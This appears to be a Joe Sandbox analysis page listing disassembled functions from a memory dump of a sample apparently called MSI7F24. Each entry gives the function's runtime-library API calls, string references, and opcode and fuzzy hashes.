Function 00AF6C34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00AF6D98

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00AF6CFE, 00AF6D35, 00AF6D3A
-, xrefs: 00AF6DC9

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: f1e31ecc10935b515b44a2fb70cf7da30d642d06abc0b71bc2a3c952b3f107ac
Instruction ID: 371d1a247a037f3e94adfdc220bfe5eb78a9e3db3c8f3e5b3fce2b8157197d98
Opcode Fuzzy Hash: f1e31ecc10935b515b44a2fb70cf7da30d642d06abc0b71bc2a3c952b3f107ac
Instruction Fuzzy Hash: E851F370B0465C5BDF298FED88917BEBBFAAF59710F14406AFAD1D7241C27489428BA0

Function 00ADF860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00ADFA3E

Strings

false, xrefs: 00ADF965
true, xrefs: 00ADF97B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 46d0773d636d2f4af2793f752f5253f89763ff24115940e4685c7127cbf9b664
Instruction ID: b438ba856f28baab55bdb3ad3045101de5699e601d0e93d85d33df91855e150a
Opcode Fuzzy Hash: 46d0773d636d2f4af2793f752f5253f89763ff24115940e4685c7127cbf9b664
Instruction Fuzzy Hash: 5A5194B1D003489FDB10DFA4C941BEEBBF8FF05314F14826AE946AB281E775AA45CB51

Function 00AF22AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF22B1
_swprintf.LIBCMT ref: 00AF2329

Part of subcall function 00AE780A: __EH_prolog3.LIBCMT ref: 00AE7811
Part of subcall function 00AE780A: std::_Lockit::_Lockit.LIBCPMT ref: 00AE781B
Part of subcall function 00AE780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE788C

Strings

%.0Lf, xrefs: 00AF2321

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 2348759532-1402515088
Opcode ID: 13f79bebbc3b6ad707fa2adca2a5e1ba4083c0fd2ec618016c729f6529bfa793
Instruction ID: 36d123e0f5a9d5e3288f7c33120e3f863a43650cfa60817848c1dd4e30009e6c
Opcode Fuzzy Hash: 13f79bebbc3b6ad707fa2adca2a5e1ba4083c0fd2ec618016c729f6529bfa793
Instruction Fuzzy Hash: 17515A71D00249ABCF05DFE4D945AEDBBB9FF08300F20855AF516AB295EB349945CF90

Function 00AF258E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF2595
_swprintf.LIBCMT ref: 00AF260D

Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB52D
Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB550
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB578
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB617

Strings

%.0Lf, xrefs: 00AF2605

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 1a0cfb47dbe9daadc740e1d4ec3c9aaf3857d456d2d7f659ec731083bdb9219f
Instruction ID: 7818466c37946b0f040248146cc34ebed701c74b50e66d96556c5d4b9e20d499
Opcode Fuzzy Hash: 1a0cfb47dbe9daadc740e1d4ec3c9aaf3857d456d2d7f659ec731083bdb9219f
Instruction Fuzzy Hash: 53515A71D00209ABCF05DFE4D955AEDBBB9FF08300F20841AF942AB295EB349945CF90

Function 00AF6607 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF660E
_swprintf.LIBCMT ref: 00AF6686

Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5BD
Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5E0
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC608
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC6A7

Strings

%.0Lf, xrefs: 00AF667E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 161d1cdd6ff96f43c68ece1eb2eefd072ea8c5ab5bdf1132248000f8f7528875
Instruction ID: d524736da21260c054ebfba17532b59672baff884ddbab330bcf23adead447cb
Opcode Fuzzy Hash: 161d1cdd6ff96f43c68ece1eb2eefd072ea8c5ab5bdf1132248000f8f7528875
Instruction Fuzzy Hash: AA514A71D0020DABCF09DFE4D985AEDBBB5FF08300F20851AF516AB2A5EB359955CB50

Function 00AD9620 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00AD96F7, 00AD9752
\\?\, xrefs: 00AD976E, 00AD979B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: b251d1f16f524c0242676a55e585c15166d4ba5853a1bce348acc022ebc21f78
Instruction ID: 9fc5140c2816a88f72953ea7f9c63d7eeecd78ea43da0410158ed7a63b0944e3
Opcode Fuzzy Hash: b251d1f16f524c0242676a55e585c15166d4ba5853a1bce348acc022ebc21f78
Instruction Fuzzy Hash: 1A519E70A102049BDB24CF65D995BEEBBF5FF99314F10461EE802A7390DB75EA84CB90

Function 00AFB5D1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00AFB5F6

Strings

MOC, xrefs: 00AFB608
RCC, xrefs: 00AFB610

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 7d5e3c75f32bfa7d62e7d910164b4b42239af8c3e1ac036fbcb27048a60ff541
Instruction ID: 01aafc5e7ab231cc32c7bf7e945dc1dccdab9aa309314b0afddec7061570b599
Opcode Fuzzy Hash: 7d5e3c75f32bfa7d62e7d910164b4b42239af8c3e1ac036fbcb27048a60ff541
Instruction Fuzzy Hash: C541467190020DAFCF15DF98CD81AFEBBB5BF48304F198199FA04A6261D7359960DB64

Function 00AF217C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF2183

Part of subcall function 00AE780A: __EH_prolog3.LIBCMT ref: 00AE7811
Part of subcall function 00AE780A: std::_Lockit::_Lockit.LIBCPMT ref: 00AE781B
Part of subcall function 00AE780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE788C

Strings

0123456789-, xrefs: 00AF21D3
%.0Lf, xrefs: 00AF21CE

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2728201062-3094241602
Opcode ID: 590d026ca1d5c6a4bf816bada1b574f4a13eb5c4cd39ecb83a4c9ba6ffa73998
Instruction ID: 3ae8f0fb633850bec448c43b89ec5f5a061fcb71d76b30989efdae190735dd2a
Opcode Fuzzy Hash: 590d026ca1d5c6a4bf816bada1b574f4a13eb5c4cd39ecb83a4c9ba6ffa73998
Instruction Fuzzy Hash: 8F413831900219DFCF15EFD8C981AEDBBB5FF08310F54016AF912AB261DB349956CB95

Function 00AF64DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF64E2

Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5BD
Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5E0
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC608
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC6A7

Strings

0123456789-, xrefs: 00AF6532
0123456789-, xrefs: 00AF652D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 58847d7b6a021d3e066365209abde870cb49260bb6fe17d2950cfe17814aa4a6
Instruction ID: 5adcc8d1c1aa9f848a673fe1cd248bdaf778cceaee8b78ea1851d3e52c0aa407
Opcode Fuzzy Hash: 58847d7b6a021d3e066365209abde870cb49260bb6fe17d2950cfe17814aa4a6
Instruction Fuzzy Hash: DE413A3190020DAFCF05DFE4D9919EE7BB5AF08310B10405AF922A7265DB35AA55CB55

Function 00AF2460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF2467

Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB52D
Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB550
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB578
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB617

Strings

0123456789-, xrefs: 00AF24B7
0123456789-, xrefs: 00AF24B2

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 9c45a5ae88bb0c5d5d4f333b7ee4e73c5954aef338df6984e5891578d6db9413
Instruction ID: a8c4faaa6e1867d8c6aad9b593458ebb1566784c927cf565ec8cef0821be3f29
Opcode Fuzzy Hash: 9c45a5ae88bb0c5d5d4f333b7ee4e73c5954aef338df6984e5891578d6db9413
Instruction Fuzzy Hash: 9C41473190021CDFCF05DFE8D9919EDBBB5BF08310F50016AF916AB251DB349A55CB65

Function 00AF67B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF67BC
__cftoe.LIBCMT ref: 00AF684D

Strings

!%x, xrefs: 00AF67D6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 0ff4069eeba2e88a1a54991f7707081393aa4c470c8e39711ce66f310cb47e48
Instruction ID: c5e57bb084a298c66cb812ea78e2d3b1d20f0e33a036e5d8ce52988c5d4bd277
Opcode Fuzzy Hash: 0ff4069eeba2e88a1a54991f7707081393aa4c470c8e39711ce66f310cb47e48
Instruction Fuzzy Hash: AB410370A1124DEFDF04DFE8D841AEEBBB1BF08340F044429FA55AB252D734AA05CBA1

Function 00AF2DB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF2DBC
__cftoe.LIBCMT ref: 00AF2E4F

Strings

!%x, xrefs: 00AF2DCA

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 0aa80fe6de241a420762afc71d764ccff2204f4930fbaa6593e4247def071062
Instruction ID: 1179a1a4e79c2973e65fef20574cdd5f776398274f597068f772af35a4c8d57f
Opcode Fuzzy Hash: 0aa80fe6de241a420762afc71d764ccff2204f4930fbaa6593e4247def071062
Instruction Fuzzy Hash: 3F312871A1020DEBDF14DFE4D981AEEBBB2BF48304F204429F905AB251E734AE15CB61

Function 00ADD5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00ADD682

Strings

%, xrefs: 00ADD609
+, xrefs: 00ADD5F6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: b39d73c114712bc7a0c520051bef6cbf79826105413febba4a58929db9fec4ca
Instruction ID: 41e7b00b988be35d92b75587c50e8ec6a202faf64caa1cbdf6a626ee558133f0
Opcode Fuzzy Hash: b39d73c114712bc7a0c520051bef6cbf79826105413febba4a58929db9fec4ca
Instruction Fuzzy Hash: 8E21B1711183449FD711CF18C859B9BBBE9AF89304F04895EFA9987392D638D918C7E2

Function 00ADD6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00ADD769

Strings

%, xrefs: 00ADD6F9
+, xrefs: 00ADD6E6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 3e9fce11ca1897365caaab417e66c515cce5b85dbb9eae69775f6d4789b076d0
Instruction ID: d2865a439bdbbf41fb0732432a81f1323ecc7454458e9eb9a4732db40f65985c
Opcode Fuzzy Hash: 3e9fce11ca1897365caaab417e66c515cce5b85dbb9eae69775f6d4789b076d0
Instruction Fuzzy Hash: A521C1752083459FE711CF18C845B9BBBE9AB89300F14885EFA9587392C734D918CBA7

Function 00ADD7B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00ADD859

Strings

+, xrefs: 00ADD7D6
%, xrefs: 00ADD7E9

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: cf24838cc7fc71b5c7cd1002dfc6886296181930d4932caad53f2affcd05348c
Instruction ID: 751dc9d46b0c25a661010d77e55f48ca418ff04c9525714bb6b8fde2dd9b1709
Opcode Fuzzy Hash: cf24838cc7fc71b5c7cd1002dfc6886296181930d4932caad53f2affcd05348c
Instruction Fuzzy Hash: 0121B2712083459FE711CF14C845B9BBBEAAB85300F04881EF99587292C734D918D7A2

Function 00AD80D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00AD8116
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,6E9B59AC), ref: 00AD8185

Strings

Invalid SID, xrefs: 00AD8163

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: b2776f6eb30e6419cd1f6f8f8c9de3e51ef7ca761e3cace039890d6d483889f6
Instruction ID: 9604da557c21d1a05670496619a8855d9d35843419097ede116d66df3961de2e
Opcode Fuzzy Hash: b2776f6eb30e6419cd1f6f8f8c9de3e51ef7ca761e3cace039890d6d483889f6
Instruction Fuzzy Hash: 55219F71A00305ABDB10DF58C855BAFBBB8EB44B04F10864EE812A7380DBB96A458B90

Function 00ADC140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADC16B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADC1CE

Strings

bad locale name, xrefs: 00ADC1F1

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: bcd4f11f091085731ae793b36e1c9234e2023b9860a3be5ba5b9bf3354d8d7bc
Instruction ID: c8bf228862d0386e11d5160b76c6abba1cfc108dbaae58243fca2305aa0d93ca
Opcode Fuzzy Hash: bcd4f11f091085731ae793b36e1c9234e2023b9860a3be5ba5b9bf3354d8d7bc
Instruction Fuzzy Hash: C221FD70809B84EED721CF68C90478BBFF4EF15714F108A9EE08997781D7B5AA04CBA1

Function 00AE4077 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AE407E

Strings

false, xrefs: 00AE40D5
true, xrefs: 00AE40E8

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: 43fa79bdb98781ab86d646732d1e1a11bd6035551fb403a1cfe2c577ee761ce1
Instruction ID: d211f82bded0d7acd95ff286b850d21a585f11a784ed2411b43d391b04e0907f
Opcode Fuzzy Hash: 43fa79bdb98781ab86d646732d1e1a11bd6035551fb403a1cfe2c577ee761ce1
Instruction Fuzzy Hash: 7411E271D00785AEC725EFB4D912B8ABBF4AF18300F04896BF1A68B751EB30E504CB50

Function 00AE1E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00AE0B00: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,6E9B59AC,?,00B193B0,000000FF), ref: 00AE0B27
Part of subcall function 00AE0B00: GetLastError.KERNEL32(?,00000000,00000000,6E9B59AC,?,00B193B0,000000FF), ref: 00AE0B31

IsDebuggerPresent.KERNEL32(?,?,00B2FAD8), ref: 00AE1E48
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00B2FAD8), ref: 00AE1E57

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00AE1E52

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

